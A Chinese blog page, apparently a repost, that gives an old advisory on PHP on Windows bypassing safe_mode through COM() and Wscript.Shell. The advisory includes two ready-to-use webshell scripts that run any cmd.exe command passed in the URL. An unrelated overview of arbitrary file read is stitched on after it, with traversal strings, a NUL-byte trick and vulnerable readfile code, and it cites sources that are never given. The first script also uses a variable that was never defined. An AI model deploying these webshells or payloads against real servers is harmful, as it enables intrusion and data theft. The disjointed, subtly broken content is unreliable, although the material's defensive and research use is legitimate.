PHP COM组件调用绕过安全模式执行任意文件漏洞

本文指出Windows平台下的PHP脚本平台存在安全漏洞,即使在安全模式下,攻击者仍可利用COM()函数创建系统组件执行任意命令。原因是安全模式下com.allow_dcom设置为true。文中给出测试程序,目前官方未发布补丁,建议将com.allow_dcom设为false。
受影响的系统:
Windows 下支持COM()函数的PHP版本

发现人:
Saiy/我非我 From http://www.wrsky.com & kEvin1986
Saiy:dawangs_at_etang.com
kEvin1986:Garnett1986_at_hotmail.com
我非我:wofeiwo_at_bugkidz.org

我非我:

描述:

Windows平台下的PHP脚本平台存在一个安全漏洞,使得PHP设置即使在安全模式下(safe_mode),仍旧允许攻击者使用COM()函数来创建系统组件来执行任意命令.
漏洞出现的原因是由于在安全模式下的PHP平台虽然system();pathru()函数被禁止,但是com.allow_dcom的设置依旧是为true.以至于攻击者可以使用COM()函数创建系统组件对象来运行系统命令.如果是默认的Apache设置或者Web服务器以Loacalsystem权限或Administrators权限运行,攻击者可以使用这个漏洞来提升权限.

测试程序:
-----------------------------------------------------------------

警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*需要Windows Script Host 5.6支持*/
<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$phpexec=$phpwsh->exec("cmd.exe /c $cmd");
$execoutput=$wshexec->stdout();
$result=$execoutput->readall();
echo $result;
?>

/*Windows Script Host 5.6以下版本支持*/
<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$phpwsh->run("cmd.exe /c $cmd > c://inetpub//wwwroot//result.txt");
?>

将以上代码保存成*.php文件之后可以在浏览器中执行
http://www.target.com/simple.php?cmd=[Command]

---------------------------------------------------------------
补丁:
目前PHP官方未回复发现者的信件且未发布任何相关补丁.

建议:
在设置安全模式之后,将 com.allow_dcom=true 设置为 com.allow_dcom=false即可.
### 任意文件读取漏洞概述 #### 原理 任意文件读取漏洞的核心在于应用程序未能正确校验用户输入的文件路径或名称,导致攻击者能够访问到预期范围外的文件。这种漏洞通常发生在文件操作函数未对传入参数进行严格过滤的情况下,使得攻击者可以通过构造恶意路径来获取目标系统的敏感数据[^1]。 在Web应用中,该漏洞可能源于开发人员错误地信任用户的输入,在处理诸如文件下载链接、动态加载模板等功能时缺乏必要的安全性验证机制。例如,如果允许用户指定要下载的文件名而没有实施白名单策略,则可能导致未经授权的数据暴露[^2]。 #### 利用方式 攻击者利用此类漏洞的主要手段包括但不限于以下几种: - **路径遍历**:通过向服务器发送带有特殊字符序列(如`../`)的请求,尝试突破当前工作目录限制并访问其他位置上的资源。比如,在Linux环境下常用测试字符串为`../../../../../../etc/passwd`;而在Windows平台则可能是类似`..\..\..\..\..\windows\win.ini`这样的结构[^3]。 - **MySQL 文件读取**:某些情况下,数据库交互也可能成为突破口之一。假设存在可被操控的 MySQL 连接过程,并且客户端库支持远程执行 `LOAD_FILE()` 函数调用的话,那么一旦连接至由黑客控制的服务端实例之后便能轻易达成目的[^4]。 以下是基于 PHP 的简单演示代码片段用于说明如何潜在触发这一类型的缺陷: ```php <?php // 不安全的做法 - 缺少适当的安全措施 $file = $_GET['file']; readfile($file); ?> ``` 上述脚本直接将未经审查过的查询变量 `$file` 提供给内置方法 `readfile()`, 如果外部访客提交形如 `/flag.txt%00.jpg` (其中 `%00` 表示 NULL 字节注入技术) 或者更复杂的组合形式作为 GET 参数值, 就极有可能成功绕过初步筛选进而完成非法行为. #### 防御方法 为了有效防范这类风险的发生,可以从以下几个方面着手改进: - 实施严格的输入验证流程,仅接受已知合法选项列表内的项目; - 对所有涉及本地磁盘存取的操作均需附加额外权限检查逻辑; - 移除不必要的危险功能模块及其关联接口; - 定期更新依赖组件版本号以修复已公开报告的相关隐患问题。 下面给出一段改良后的PHP示范代码样本供参考学习之用: ```php <?php $whitelist = ['report.pdf', 'summary.csv']; // 白名单定义区域 if(isset($_GET["file"]) && in_array(basename($_GET["file"]), $whitelist)){ readfile('protected/' . basename($_GET["file"])); }else{ echo "Invalid request."; } ?> ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值